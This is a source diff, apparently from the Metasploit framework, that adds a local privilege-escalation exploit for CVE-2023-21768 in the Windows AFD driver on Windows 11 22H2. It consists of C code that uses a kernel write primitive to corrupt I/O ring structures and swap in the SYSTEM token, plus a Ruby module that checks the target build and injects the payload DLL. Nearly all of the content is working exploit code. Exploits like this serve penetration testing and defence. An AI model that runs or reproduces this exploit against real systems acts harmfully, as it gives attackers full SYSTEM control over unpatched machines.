+ if (!pMcBufferEntry)
+ {
+ dprintf("Call to VirtualAlloc() failed (0x%X)", GetLastError());
+ ret = E_FAIL;
+ goto done;
+ }
+
+ pMcBufferEntry->Address = (PVOID)pWriteAddr;
+ pMcBufferEntry->Length = ulWriteLen;
+ pMcBufferEntry->Type = 0xc02;
+ pMcBufferEntry->Size = 0x80;
+ pMcBufferEntry->AccessMode = 1;
+ pMcBufferEntry->ReferenceCount = 1;
+
+ pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;
+
+ if (BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, (UINT_PTR)NULL, IOSQE_FLAGS_NONE) != S_OK) {
+ dprintf("Call to BuildIoRingReadFile() failed (0x%X)", GetLastError());
+ ret = E_FAIL;
+ goto done;
+ }
+
+ if (SubmitIoRing(hIoRing, 0, 0, NULL) != S_OK) {
+ dprintf("Call to SubmitIoRing() failed (0x%X)", GetLastError());
+ ret = E_FAIL;
+ goto done;
+ }
+
+ if (PopIoRingCompletion(hIoRing, &cqe) != S_OK) {
+ dprintf("Call to PopIoRingCompletion() failed (0x%X)", GetLastError());
+ ret = E_FAIL;
+ goto done;
+ }
+
+ if (cqe.ResultCode != S_OK) {
+ ret = cqe.ResultCode;
+ dprintf("the I/O ring operation failed (ResultCode=0x%X)", ret);
+ goto done;
+ }
+
+ ret = S_OK;
+
+done:
+ if (pMcBufferEntry) {
+ VirtualFree(pMcBufferEntry, 0, MEM_RELEASE);
+ }
+ return ret;
+}
+
+HRESULT IoRingLpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt) {
+ HANDLE hProc = NULL;
+ ULONG64 ullSystemEPROCaddr = 0;
+ ULONG64 ullTargEPROCaddr = 0;
+ PVOID pFakeRegBuffers = NULL;
+ _HIORING* phIoRing = NULL;
+ ULONG64 ullSysToken = 0;
+ char null[0x10] = { 0 };
+
+ hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid);
+
+ if (!hProc) {
+ dprintf("Call to OpenProcess() failed (0x%X)", GetLastError());
+ return E_FAIL;
+ }
+
+ if (GetObjPtr((PVOID*)&ullSystemEPROCaddr, 4, (HANDLE)4) != S_OK) {
+ dprintf("Unable to get System EPROC address");
+ return E_FAIL;
+ }
+
+ dprintf("System EPROC address: %llx", ullSystemEPROCaddr);
+
+ if (GetObjPtr((PVOID*)&ullTargEPROCaddr, GetCurrentProcessId(), hProc) != S_OK) {
+ dprintf("Unable to get Current EPROC address");
+ return E_FAIL;
+ }
+
+ dprintf("Current process EPROC address: %llx", ullTargEPROCaddr);
+
+ pFakeRegBuffers = VirtualAlloc((LPVOID)ullFakeRegBufferAddr, sizeof(ULONG64) * ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
+
+ if (pFakeRegBuffers != (PVOID)ullFakeRegBufferAddr) {
+ dprintf("Call to VirtualAlloc() failed (0x%X)", GetLastError());
+ return E_FAIL;
+ }
+
+ memset(pFakeRegBuffers, 0, sizeof(ULONG64) * ulFakeRegBufferCnt);
+
+ phIoRing = *(_HIORING**)&hIoRing;
+ phIoRing->RegBufferArray = pFakeRegBuffers;
+ phIoRing->BufferArraySize = ulFakeRegBufferCnt;
+
+ if (IoRingRead(pFakeRegBuffers, ullSystemEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64)) != S_OK) {
+ dprintf("Unable to read System token through a I/O ring read operation");
+ return E_FAIL;
+ }
+
+ dprintf("System token is at: %llx", ullSysToken);
+
+ if (IoRingWrite(pFakeRegBuffers, ullTargEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64)) != S_OK) {
+ dprintf("Unable to write System token through a I/O ring write operation");
+ return E_FAIL;
+ }
+
+ IoRingWrite(pFakeRegBuffers, (ULONG64)&pIoRing->RegBuffersCount, &null, 0x10);
+
+ return S_OK;
+}
\ No newline at end of file
diff --git a/external/source/exploits/CVE-2023-21768/ioring.h b/external/source/exploits/CVE-2023-21768/ioring.h
new file mode 100755
index 0000000000..fe4ea66ff1
--- /dev/null
+++ b/external/source/exploits/CVE-2023-21768/ioring.h
@@ -0,0 +1,81 @@
+#pragma once
+
+#include
+#include
+#include "exploit.h"
+
+typedef struct _NT_IORING_CREATE_FLAGS
+{
+ enum _NT_IORING_CREATE_REQUIRED_FLAGS Required;
+ enum _NT_IORING_CREATE_ADVISORY_FLAGS Advisory;
+} NT_IORING_CREATE_FLAGS, * PNT_IORING_CREATE_FLAGS;
+
+typedef struct _NT_IORING_INFO
+{
+ enum IORING_VERSION IoRingVersion;
+ struct _NT_IORING_CREATE_FLAGS Flags;
+ unsigned int SubmissionQueueSize;
+ unsigned int SubmissionQueueRingMask;
+ unsigned int CompletionQueueSize;
+ unsigned int CompletionQueueRingMask;
+ struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
+ struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
+} NT_IORING_INFO, * PNT_IORING_INFO;
+
+typedef struct _IOP_MC_BUFFER_ENTRY
+{
+ USHORT Type;
+ USHORT Reserved;
+ ULONG Size;
+ ULONG ReferenceCount;
+ ULONG Flags;
+ LIST_ENTRY GlobalDataLink;
+ PVOID Address;
+ ULONG Length;
+ CHAR AccessMode;
+ ULONG MdlRef;
+ struct _MDL* Mdl;
+ KEVENT MdlRundownEvent;
+ PULONG64 PfnArray;
+ BYTE PageNodes[0x20];
+} IOP_MC_BUFFER_ENTRY, * PIOP_MC_BUFFER_ENTRY;
+
+typedef struct _IORING_OBJECT
+{
+ short Type;
+ short Size;
+ struct _NT_IORING_INFO UserInfo;
+ void* Section;
+ struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
+ struct _MDL* CompletionQueueMdl;
+ struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
+ unsigned __int64 ViewSize;
+ long InSubmit;
+ unsigned __int64 CompletionLock;
+ unsigned __int64 SubmitCount;
+ unsigned __int64 CompletionCount;
+ unsigned __int64 CompletionWaitUntil;
+ struct _KEVENT CompletionEvent;
+ unsigned char SignalCompletionEvent;
+ struct _KEVENT* CompletionUserEvent;
+ unsigned int RegBuffersCount;
+ struct _IOP_MC_BUFFER_ENTRY** RegBuffers;
+ unsigned int RegFilesCount;
+ void** RegFiles;
+} IORING_OBJECT, * PIORING_OBJECT;
+
+typedef struct _HIORING
+{
+ HANDLE handle;
+ NT_IORING_INFO Info;
+ ULONG IoRingKernelAcceptedVersion;
+ PVOID RegBufferArray;
+ ULONG BufferArraySize;
+ PVOID Unknown;
+ ULONG FileHandlesCount;
+ ULONG SubQueueHead;
+ ULONG SubQueueTail;
+}_HIORING;
+
+HRESULT IoRingSetup(PIORING_OBJECT* ppIoRingAddr);
+HRESULT IoRingLpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG dwFakeRegBufferCnt);
diff --git a/external/source/include/windows/definitions.h b/external/source/include/windows/definitions.h
index d5b0aa613b..1eb25cf215 100755
--- a/external/source/include/windows/definitions.h
+++ b/external/source/include/windows/definitions.h
@@ -154,3 +154,81 @@ typedef VOID(__stdcall* fRtlGetNtVersionNumbers)(
#define TYPE_WINDOW 1
typedef PVOID(__stdcall* fHMValidateHandle)(HANDLE hHandle, DWORD dwType);
+
+//
+// Taken from ntdef.h
+//
+
+// Unicode strings are counted 16-bit character strings. If they are
+// NULL terminated, Length does not include trailing NULL.
+typedef struct _UNICODE_STRING {
+ USHORT Length;
+ USHORT MaximumLength;
+#ifdef MIDL_PASS
+ [size_is(MaximumLength / 2), length_is((Length) / 2)] USHORT* Buffer;
+#else // MIDL_PASS
+ _Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
+#endif // MIDL_PASS
+} UNICODE_STRING, *PUNICODE_STRING;
+
+typedef struct _OBJECT_ATTRIBUTES {
+ ULONG Length;
+ HANDLE RootDirectory;
+ PUNICODE_STRING ObjectName;
+ ULONG Attributes;
+ PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
+ PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE
+} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
+
+//
+// Taken from wdm.h
+//
+typedef struct _IO_STATUS_BLOCK {
+ union {
+ NTSTATUS Status;
+ PVOID Pointer;
+ };
+ ULONG_PTR Information;
+} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
+
+typedef NTSTATUS(__stdcall* fNtCreateFile)(
+ PHANDLE FileHandle,
+ ACCESS_MASK DesiredAccess,
+ POBJECT_ATTRIBUTES ObjectAttributes,
+ PIO_STATUS_BLOCK IoStatusBlock,
+ PLARGE_INTEGER AllocationSize,
+ ULONG FileAttributes,
+ ULONG ShareAccess,
+ ULONG CreateDisposition,
+ ULONG CreateOptions,
+ PVOID EaBuffer,
+ ULONG EaLength
+ );
+
+typedef NTSTATUS(__stdcall* fNtDeviceIoControlFile)(
+ HANDLE FileHandle,
+ HANDLE Event,
+ PVOID ApcRoutine, // PIO_APC_ROUTINE is just a pointer to a function
+ PVOID ApcContext,
+ PIO_STATUS_BLOCK IoStatusBlock,
+ ULONG IoControlCode,
+ PVOID InputBuffer,
+ ULONG InputBufferLength,
+ PVOID OutputBuffer,
+ ULONG OutputBufferLength
+ );
+
+typedef NTSTATUS(__stdcall* fNtCreateIoCompletion)(
+ PHANDLE IoCompletionHandle,
+ ACCESS_MASK DesiredAccess,
+ POBJECT_ATTRIBUTES ObjectAttributes,
+ ULONG NumberOfConcurrentThreads
+ );
+
+typedef NTSTATUS(__stdcall* fNtSetIoCompletion)(
+ HANDLE IoCompletionHandle,
+ ULONG CompletionKey,
+ PIO_STATUS_BLOCK IoStatusBlock,
+ NTSTATUS CompletionStatus,
+ ULONG NumberOfBytesTransferred
+ );
diff --git a/modules/exploits/windows/local/cve_2023_21768_afd_lpe.rb b/modules/exploits/windows/local/cve_2023_21768_afd_lpe.rb
new file mode 100644
index 0000000000..229ff62a55
--- /dev/null
+++ b/modules/exploits/windows/local/cve_2023_21768_afd_lpe.rb
@@ -0,0 +1,102 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Local
+ Rank = ExcellentRanking
+
+ include Msf::Post::Windows::Priv
+ include Msf::Post::Windows::Process
+ include Msf::Post::Windows::ReflectiveDLLInjection
+ include Msf::Post::Windows::FileInfo
+ prepend Msf::Exploit::Remote::AutoCheck
+
+ def initialize(info = {})
+ super(
+ update_info(
+ info,
+ {
+ 'Name' => 'Ancillary Function Driver (AFD) for WinSock Elevation of Privilege',
+ 'Description' => %q{
+ A vulnerability exists in the Windows Ancillary Function Driver for Winsock
+ (`afd.sys`) can be leveraged by an attacker to escalate privileges to those of
+ NT AUTHORITY\SYSTEM. Due to a flaw in `AfdNotifyRemoveIoCompletion`, it is
+ possible to create an arbitrary kernel Write-Where primitive, which can be used
+ to manipulate internal I/O ring structures and achieve local privilege
+ escalation.
+
+ This exploit only supports Windows 11 22H2 up to build 22621.963 (patched in
+ January 2023 updates).
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' => [
+ 'chompie', # Github PoC
+ 'b33f', # Github PoC
+ 'Yarden Shafir', # I/O Ring R/W primitive PoC
+ 'Christophe De La Fuente' # Metasploit module
+ ],
+ 'Arch' => [ ARCH_X64 ],
+ 'Platform' => 'win',
+ 'SessionTypes' => [ 'meterpreter' ],
+ 'Privileged' => true,
+ 'Targets' => [
+ [ 'Windows 11 22H2 x64', { 'Arch' => ARCH_X64 } ]
+ ],
+ 'Payload' => {
+ 'DisableNops' => true
+ },
+ 'References' => [
+ [ 'CVE', '2023-21768' ],
+ [ 'URL', 'https://github.com/xforcered/Windows_LPE_AFD_CVE-2023-21768' ],
+ [ 'URL', 'https://github.com/yardenshafir/IoRingReadWritePrimitive' ]
+ ],
+ 'DisclosureDate' => '2023-01-10',
+ 'DefaultTarget' => 0,
+ 'Notes' => {
+ 'Stability' => [],
+ 'Reliability' => [ REPEATABLE_SESSION ],
+ 'SideEffects' => []
+ }
+ }
+ )
+ )
+ end
+
+ def check
+ if sysinfo['OS'] !~ /windows/i
+ return Exploit::CheckCode::Safe('Only Windows systems are affected')
+ end
+
+ major, minor, build, revision, _branch = file_version('C:\\Windows\\System32\\ntoskrnl.exe')
+ vprint_status("Windows Build Number = #{build}.#{revision}")
+
+ unless major == 6 && minor == 2 && build == 22621
+ return CheckCode::Safe('The exploit only supports Windows 11 22H2')
+ end
+
+ if revision > 963
+ return CheckCode::Safe("This Windows host seems to be patched (build 22621.#{revision})")
+ end
+
+ CheckCode::Appears
+ end
+
+ def exploit
+ if is_system?
+ fail_with(Failure::None, 'Session is already elevated')
+ end
+
+ if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
+ fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
+ end
+
+ encoded_payload = payload.encoded
+ execute_dll(
+ ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21768', 'CVE-2023-21768.x64.dll'),
+ [encoded_payload.length].pack('I<') + encoded_payload
+ )
+
+ print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
+ end
+end